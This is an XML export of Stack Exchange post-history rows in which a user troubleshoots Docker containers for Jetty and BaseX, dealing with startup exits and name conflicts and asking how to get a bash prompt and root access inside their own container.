  <row Id="37889" PostHistoryTypeId="1" PostId="12336" RevisionGUID="97aab6c0-7afe-46ab-9966-623ced50ba94" CreationDate="2020-09-03T09:48:40.313" UserId="23443" Text="lynx: Can't access startfile http://localhost:8080/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37890" PostHistoryTypeId="3" PostId="12336" RevisionGUID="97aab6c0-7afe-46ab-9966-623ced50ba94" CreationDate="2020-09-03T09:48:40.313" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;images&gt;&lt;servers&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37891" PostHistoryTypeId="2" PostId="12337" RevisionGUID="21866c95-af3b-4bcd-a597-46eeb33c0ad6" CreationDate="2020-09-03T09:57:11.707" UserId="23443" Text="&#xD;&#xA;created with:&#xD;&#xA;&#xD;&#xA;    docker run -d -p 80:8080 -p 443:8443 jetty&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;gives a start page as:&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error 404 - Not Found.&#xD;&#xA;    &#xD;&#xA;       No context on this server matched or handled this request.&#xD;&#xA;    &#xD;&#xA;       Contexts known to this server are:&#xD;&#xA;    &#xD;&#xA;       Context Path Display Name Status LifeCycle&#xD;&#xA;         __________________________________________________________________&#xD;&#xA;    &#xD;&#xA;       [1]icon  [2]Powered by Eclipse Jetty:// Server&#xD;&#xA;         __________________________________________________________________&#xD;&#xA;    &#xD;&#xA;    References&#xD;&#xA;    &#xD;&#xA;       1. http://eclipse.org/jetty&#xD;&#xA;       2. http://eclipse.org/jetty&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37892" PostHistoryTypeId="4" PostId="12336" RevisionGUID="1100b660-0430-46a0-aad5-b8c7f7927fe0" CreationDate="2020-09-03T09:58:05.317" UserId="23443" Comment="edited title" Text="Can't access startfile http://localhost/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37893" PostHistoryTypeId="5" PostId="12337" RevisionGUID="9ee8b970-0544-4a20-9f93-9cabb356a484" CreationDate="2020-09-03T10:15:45.770" UserId="23443" Comment="added 17 characters in body" Text="&#xD;&#xA;created with:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -d -p 80:8080 -p 443:8443 jetty&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;gives a start page as:&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error 404 - Not Found.&#xD;&#xA;    &#xD;&#xA;       No context on this server matched or handled this request.&#xD;&#xA;    &#xD;&#xA;       Contexts known to this server are:&#xD;&#xA;    &#xD;&#xA;       Context Path Display Name Status LifeCycle&#xD;&#xA;         __________________________________________________________________&#xD;&#xA;    &#xD;&#xA;       [1]icon  [2]Powered by Eclipse Jetty:// Server&#xD;&#xA;         __________________________________________________________________&#xD;&#xA;    &#xD;&#xA;    References&#xD;&#xA;    &#xD;&#xA;       1. http://eclipse.org/jetty&#xD;&#xA;       2. http://eclipse.org/jetty&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37894" PostHistoryTypeId="2" PostId="12338" RevisionGUID="9164730d-a813-4269-9024-33ef3f00657d" CreationDate="2020-09-03T10:34:03.570" UserId="23443" Text="&#xD;&#xA;A basic `jetty` container:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                                  NAMES&#xD;&#xA;    7c10b0ca16bd        jetty               &quot;/docker-entrypoint.…&quot;   21 seconds ago      Up 18 seconds       8080/tcp, 0.0.0.0:80-&gt;800/tcp, 0.0.0.0:443-&gt;8443/tcp   jetty01&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;can easily get a `bash` terminal as:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti jetty01 bash&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as so:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name jetty01 \&#xD;&#xA;        -d \&#xD;&#xA;        -p 80:800 \&#xD;&#xA;        -p 443:8443 \&#xD;&#xA;        jetty&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;but, this approach fails with the `basex` from docker [hub][1]:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti basexhttp bash&#xD;&#xA;    Error response from daemon: Container 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142 is not running&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;        basex/basexhttp:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I get a root bash terminal?&#xD;&#xA;&#xD;&#xA;How do I start the `basex` container? I tried:&#xD;&#xA;&#xD;&#xA;    docker start 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142&#xD;&#xA;&#xD;&#xA;still nothing listed.&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37895" PostHistoryTypeId="1" PostId="12338" RevisionGUID="9164730d-a813-4269-9024-33ef3f00657d" CreationDate="2020-09-03T10:34:03.570" UserId="23443" Text="container foo is not running -and docker container list is empty" ContentLicense="CC BY-SA 4.0" />
  <row Id="37896" PostHistoryTypeId="3" PostId="12338" RevisionGUID="9164730d-a813-4269-9024-33ef3f00657d" CreationDate="2020-09-03T10:34:03.570" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;bash&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37897" PostHistoryTypeId="5" PostId="12338" RevisionGUID="5d870337-4f69-435a-ae4b-d307dcef2129" CreationDate="2020-09-03T10:40:46.780" UserId="23443" Comment="added 340 characters in body" Text="&#xD;&#xA;A basic `jetty` container:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                                  NAMES&#xD;&#xA;    7c10b0ca16bd        jetty               &quot;/docker-entrypoint.…&quot;   21 seconds ago      Up 18 seconds       8080/tcp, 0.0.0.0:80-&gt;800/tcp, 0.0.0.0:443-&gt;8443/tcp   jetty01&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;can easily get a `bash` terminal as:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti jetty01 bash&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as so:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name jetty01 \&#xD;&#xA;        -d \&#xD;&#xA;        -p 80:800 \&#xD;&#xA;        -p 443:8443 \&#xD;&#xA;        jetty&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;but, this approach fails with the `basex` from docker [hub][1]:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti basexhttp bash&#xD;&#xA;    Error response from daemon: Container 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142 is not running&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;        basex/basexhttp:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I get a root bash terminal?&#xD;&#xA;&#xD;&#xA;How do I start the `basex` container? I tried:&#xD;&#xA;&#xD;&#xA;    docker start 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142&#xD;&#xA;&#xD;&#xA;still nothing listed.  But, `docker ps -a` shows:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED             STATUS                     PORTS               NAMES&#xD;&#xA;    52b5337d7e6a        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   10 minutes ago      Exited (1) 2 minutes ago                       basexhttp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37898" PostHistoryTypeId="4" PostId="12338" RevisionGUID="c3cbc2c0-2ef3-45c3-9342-b46bd50c29a9" CreationDate="2020-09-03T10:47:34.227" UserId="23443" Comment="edited title" Text="Error response from daemon: Container foo is not running when trying to get bash" ContentLicense="CC BY-SA 4.0" />
  <row Id="37901" PostHistoryTypeId="4" PostId="12338" RevisionGUID="1e2cae76-2911-4772-b63a-0b0609431979" CreationDate="2020-09-03T11:51:40.627" UserId="23443" Comment="edited title" Text="cannot get bash prompt: Error response from daemon: Container foo is not running" ContentLicense="CC BY-SA 4.0" />
  <row Id="37902" PostHistoryTypeId="5" PostId="12338" RevisionGUID="0d03a677-ae54-4210-a770-8d65136f436b" CreationDate="2020-09-03T11:57:29.403" UserId="23443" Comment="added 69 characters in body" Text="&#xD;&#xA;A basic `jetty` container:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                                  NAMES&#xD;&#xA;    7c10b0ca16bd        jetty               &quot;/docker-entrypoint.…&quot;   21 seconds ago      Up 18 seconds       8080/tcp, 0.0.0.0:80-&gt;800/tcp, 0.0.0.0:443-&gt;8443/tcp   jetty01&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;can easily get a `bash` terminal as:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti jetty01 bash&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as so:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name jetty01 \&#xD;&#xA;        -d \&#xD;&#xA;        -p 80:800 \&#xD;&#xA;        -p 443:8443 \&#xD;&#xA;        jetty&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;but, this approach fails with the `basex` from docker [hub][1]:    &#xD;&#xA;    &#xD;&#xA;    docker exec -ti basexhttp bash&#xD;&#xA;    Error response from daemon: Container 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142 is not running&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;created as:&#xD;&#xA;    &#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;        basex/basexhttp:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I get a root bash terminal?&#xD;&#xA;&#xD;&#xA;How do I start the `basex` container? I tried:&#xD;&#xA;&#xD;&#xA;    docker start 52b5337d7e6a22964310afb0be5f79ace38993173218fae8d9dcd858e4681142&#xD;&#xA;&#xD;&#xA;still nothing listed.  But, `docker ps -a` shows:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED             STATUS                     PORTS               NAMES&#xD;&#xA;    52b5337d7e6a        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   10 minutes ago      Exited (1) 2 minutes ago                       basexhttp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although it doesn't show in `docker ps` because it's not running.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37903" PostHistoryTypeId="2" PostId="12340" RevisionGUID="936cfd68-1568-4261-af8a-5a76abbff8d9" CreationDate="2020-09-03T14:17:34.097" UserId="23443" Text="On the understanding, from `#docker` on IRC, that the `basex` container from docker [hub][1] died after starting up, how do I now make it run something which doesn't immediately exit?&#xD;&#xA;&#xD;&#xA;I'm only trying to get a `bash` prompt at this [point][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12338/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="37904" PostHistoryTypeId="1" PostId="12340" RevisionGUID="936cfd68-1568-4261-af8a-5a76abbff8d9" CreationDate="2020-09-03T14:17:34.097" UserId="23443" Text="how to start a docker container which dies immediately after startup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37905" PostHistoryTypeId="3" PostId="12340" RevisionGUID="936cfd68-1568-4261-af8a-5a76abbff8d9" CreationDate="2020-09-03T14:17:34.097" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;bash&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37906" PostHistoryTypeId="5" PostId="12340" RevisionGUID="c4452f06-6664-4c5c-a85f-2a54453bc9ed" CreationDate="2020-09-03T14:27:57.230" UserId="23443" Comment="added 251 characters in body" Text="On the understanding, from `#docker` on IRC, that the `basex` container from docker [hub][1] died after starting up, how do I now make it run something which doesn't immediately exit?&#xD;&#xA;&#xD;&#xA;I'm only trying to get a `bash` prompt at this [point][2]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -ti     --link basexhttp:basexhttp     basex/basexhttp:latest basexclient -nbasexhttp&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker: Error response from daemon: Cannot link to a non running container: /basexhttp AS /charming_villani/basexhttp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;per the `basex` official [doc][3]'s.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12338/23443&#xD;&#xA;  [3]: https://docs.basex.org/wiki/Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="37907" PostHistoryTypeId="5" PostId="12340" RevisionGUID="9f5a2fa8-bdcf-40cc-897a-27095d250b33" CreationDate="2020-09-03T14:34:15.243" UserId="23443" Comment="added 32 characters in body" Text="On the understanding, from `#docker` on IRC, that the `basex` container from docker [hub][1] died after starting up, how do I now make it run something which doesn't immediately exit?&#xD;&#xA;&#xD;&#xA;I'm only trying to get a `bash` prompt at this [point][2]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -ti     --link basexhttp:basexhttp     basex/basexhttp:latest basexclient -nbasexhttp&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker: Error response from daemon: Cannot link to a non running container: /basexhttp AS /charming_villani/basexhttp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;per the `basex` official [doc][3]'s.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(I'll add docker logs ASAP.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12338/23443&#xD;&#xA;  [3]: https://docs.basex.org/wiki/Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="37914" PostHistoryTypeId="2" PostId="12343" RevisionGUID="dfe4ad31-cfa1-4941-ac37-862a5e652ece" CreationDate="2020-09-03T16:54:53.437" UserId="23808" Text="Try something along these lines:&#xD;&#xA;&#xD;&#xA;First, create a network for the container:&#xD;&#xA;&#xD;&#xA;`docker network create -d bridge basexhttpnetwork`&#xD;&#xA;&#xD;&#xA;Then, run the container in that network:&#xD;&#xA;&#xD;&#xA;    docker run -ti --name basexhttp --network=basexhttpnetwork basex/basexhttp:latest basexclient -nbasexhttp" ContentLicense="CC BY-SA 4.0" />
  <row Id="37915" PostHistoryTypeId="5" PostId="12343" RevisionGUID="d3ea8d3b-0ea1-4b36-bd12-ab4a6c621fbd" CreationDate="2020-09-03T17:02:23.193" UserId="23808" Comment="A lil bit of prettyfying my own post. =)" Text="Try something along these lines:&#xD;&#xA;&#xD;&#xA;**First, create a network for the container:**&#xD;&#xA;&#xD;&#xA;`docker network create -d bridge basexhttpnetwork`&#xD;&#xA;&#xD;&#xA;**Then, run the container in that network:**&#xD;&#xA;&#xD;&#xA;    docker run -ti --name basexhttp --network=basexhttpnetwork basex/basexhttp:latest basexclient -nbasexhttp" ContentLicense="CC BY-SA 4.0" />
  <row Id="37917" PostHistoryTypeId="2" PostId="12344" RevisionGUID="0827b721-a03d-40f4-bf7e-0c4ab3a45729" CreationDate="2020-09-04T04:54:37.617" UserId="23443" Text="Am I even correctly following the documentation on creating and running a docker container below?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker run -d \&#xD;&#xA;    &gt;     --name basexhttp \&#xD;&#xA;    &gt;     --publish 1984:1984 \&#xD;&#xA;    &gt;     --publish 8984:8984 \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;    &gt;     basex/basexhttp:latest&#xD;&#xA;    4b827c082bebe45b8be5b7c956f1ada92407181aeec82dc5f71a63f2c5af537e&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker run -ti \&#xD;&#xA;    &gt;     --name basexhttp \&#xD;&#xA;    &gt;     --publish 1984:1984 \&#xD;&#xA;    &gt;     --publish 8984:8984 \&#xD;&#xA;    &gt;     --volume &quot;$(pwd)/basex/data&quot;:/srv/basex/data \&#xD;&#xA;    &gt;     basex/basexhttp:latest&#xD;&#xA;    docker: Error response from daemon: Conflict. The container name &quot;/basexhttp&quot; is already in use by container &quot;4b827c082bebe45b8be5b7c956f1ada92407181aeec82dc5f71a63f2c5af537e&quot;. You have to remove (or rename) that container to be able to reuse that name.&#xD;&#xA;    See 'docker run --help'.&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED              STATUS                          PORTS               NAMES&#xD;&#xA;    4b827c082beb        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   About a minute ago   Exited (1) About a minute ago                       basexhttp&#xD;&#xA;    [root@ ~]# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;referencing:&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;&#xD;&#xA;https://docs.basex.org/index.php?title=Docker&amp;mobileaction=toggle_view_desktop&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;where I've copied/pasted what I **think** are the relevant commands." ContentLicense="CC BY-SA 4.0" />
  <row Id="37918" PostHistoryTypeId="1" PostId="12344" RevisionGUID="0827b721-a03d-40f4-bf7e-0c4ab3a45729" CreationDate="2020-09-04T04:54:37.617" UserId="23443" Text="docker: Error response from daemon: Conflict. The container name &quot;/basexhttp&quot; is already in use by container" ContentLicense="CC BY-SA 4.0" />
  <row Id="37919" PostHistoryTypeId="3" PostId="12344" RevisionGUID="0827b721-a03d-40f4-bf7e-0c4ab3a45729" CreationDate="2020-09-04T04:54:37.617" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;bash&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37920" PostHistoryTypeId="5" PostId="12340" RevisionGUID="bec22336-cb73-41e3-b1d6-b487e150b428" CreationDate="2020-09-04T05:03:13.703" UserId="23443" Comment="added 117 characters in body" Text="On the understanding, from `#docker` on IRC, that the `basex` container from docker [hub][1] died after starting up, how do I now make it run something which doesn't immediately exit?&#xD;&#xA;&#xD;&#xA;I'm only trying to get a `bash` prompt at this [point][2]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -ti     --link basexhttp:basexhttp     basex/basexhttp:latest basexclient -nbasexhttp&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker: Error response from daemon: Cannot link to a non running container: /basexhttp AS /charming_villani/basexhttp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;per the `basex` official [doc][3]'s.&#xD;&#xA;&#xD;&#xA;In trying to add docker logs I've tried:&#xD;&#xA;&#xD;&#xA;    sudo journalctl -fu docker.service&#xD;&#xA;&#xD;&#xA;but will have to look into that a bit as there was no output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-------------------------------------&#xD;&#xA;&#xD;&#xA;trying a network as suggested:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network create -d bridge basexhttpnetwork&#xD;&#xA;    74c94db9195cf2b671123d016a9082f4aeacbbcef6ed91e4252744afba45d529&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -ti --name basexhttp --network=basexhttpnetwork basex/basexhttp:latest basexclient -nbasexhttp&#xD;&#xA;    docker: Error response from daemon: Conflict. The container name &quot;/basexhttp&quot; is already in use by container &quot;2473f440e93855f967482aed405c30796a779d3592bd66a00fe48c2131b43a5e&quot;. You have to remove (or rename) that container to be able to reuse that name.&#xD;&#xA;    See 'docker run --help'.&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12338/23443&#xD;&#xA;  [3]: https://docs.basex.org/wiki/Docker&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37921" PostHistoryTypeId="5" PostId="12344" RevisionGUID="563d58a6-1c83-46d7-ba2d-76577f3a1f98" CreationDate="2020-09-04T05:05:17.643" UserId="23443" Comment="added 64 characters in body" Text="Am I even correctly [following][1] the documentation on creating and running a docker container below?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker run -d \&#xD;&#xA;    &gt;     --name basexhttp \&#xD;&#xA;    &gt;     --publish 1984:1984 \&#xD;&#xA;    &gt;     --publish 8984:8984 \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;    &gt;     --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;    &gt;     basex/basexhttp:latest&#xD;&#xA;    4b827c082bebe45b8be5b7c956f1ada92407181aeec82dc5f71a63f2c5af537e&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker run -ti \&#xD;&#xA;    &gt;     --name basexhttp \&#xD;&#xA;    &gt;     --publish 1984:1984 \&#xD;&#xA;    &gt;     --publish 8984:8984 \&#xD;&#xA;    &gt;     --volume &quot;$(pwd)/basex/data&quot;:/srv/basex/data \&#xD;&#xA;    &gt;     basex/basexhttp:latest&#xD;&#xA;    docker: Error response from daemon: Conflict. The container name &quot;/basexhttp&quot; is already in use by container &quot;4b827c082bebe45b8be5b7c956f1ada92407181aeec82dc5f71a63f2c5af537e&quot;. You have to remove (or rename) that container to be able to reuse that name.&#xD;&#xA;    See 'docker run --help'.&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    [root@ ~]# &#xD;&#xA;    [root@ ~]# docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED              STATUS                          PORTS               NAMES&#xD;&#xA;    4b827c082beb        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   About a minute ago   Exited (1) About a minute ago                       basexhttp&#xD;&#xA;    [root@ ~]# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;referencing:&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/r/basex/basexhttp/&#xD;&#xA;&#xD;&#xA;https://docs.basex.org/index.php?title=Docker&amp;mobileaction=toggle_view_desktop&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;where I've copied/pasted what I **think** are the relevant commands.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12340/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="37922" PostHistoryTypeId="2" PostId="12345" RevisionGUID="2c97d2d9-bb81-427c-a005-a22e5a22a4a0" CreationDate="2020-09-04T07:41:54.560" UserId="23443" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Able to get a [response][1] from the docker hub `basex` container:&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ lynx http://localhost:8984/ --dump&#xD;&#xA;    No function found that matches the request.&#xD;&#xA;    nicholas $ &#xD;&#xA;    &#xD;&#xA;Ran the container as:    &#xD;&#xA;    &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -ti     -d     --name basexhttp     --publish 1984:1984     --publish 8984:8984     --volume &quot;$(pwd)/basex/data&quot;:/srv/basex/data     basex/basexhttp:latest&#xD;&#xA;    71cbb84cf53143d00e6009d1ea5caa9de96c094c5d6aefc11cad95188b976776&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED             STATUS              PORTS                                                      NAMES&#xD;&#xA;    71cbb84cf531        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   26 seconds ago      Up 23 seconds       0.0.0.0:1984-&gt;1984/tcp, 0.0.0.0:8984-&gt;8984/tcp, 8985/tcp   basexhttp&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -ti basex/basexhttp:latest bash&#xD;&#xA;    bash-4.4$ &#xD;&#xA;    bash-4.4$ whoami&#xD;&#xA;    basex&#xD;&#xA;    bash-4.4$ &#xD;&#xA;    bash-4.4$ pwd&#xD;&#xA;    /srv&#xD;&#xA;    bash-4.4$ &#xD;&#xA;    bash-4.4$ sudo su -&#xD;&#xA;    bash: sudo: command not found&#xD;&#xA;    bash-4.4$ &#xD;&#xA;    bash-4.4$ su -&#xD;&#xA;    su: must be suid to work properly&#xD;&#xA;    bash-4.4$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but how do I gain root access?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12344/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="37923" PostHistoryTypeId="1" PostId="12345" RevisionGUID="2c97d2d9-bb81-427c-a005-a22e5a22a4a0" CreationDate="2020-09-04T07:41:54.560" UserId="23443" Text="How to gain root access to the BaseX container from docker hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37924" PostHistoryTypeId="3" PostId="12345" RevisionGUID="2c97d2d9-bb81-427c-a005-a22e5a22a4a0" CreationDate="2020-09-04T07:41:54.560" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;bash&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37926" PostHistoryTypeId="4" PostId="12345" RevisionGUID="53f4ad13-b10b-430c-8fad-b9b54e413ee2" CreationDate="2020-09-04T08:22:12.940" UserId="23443" Comment="edited title" Text="How to gain root access to an existing docker container?" ContentLicense="CC BY-SA 4.0" />
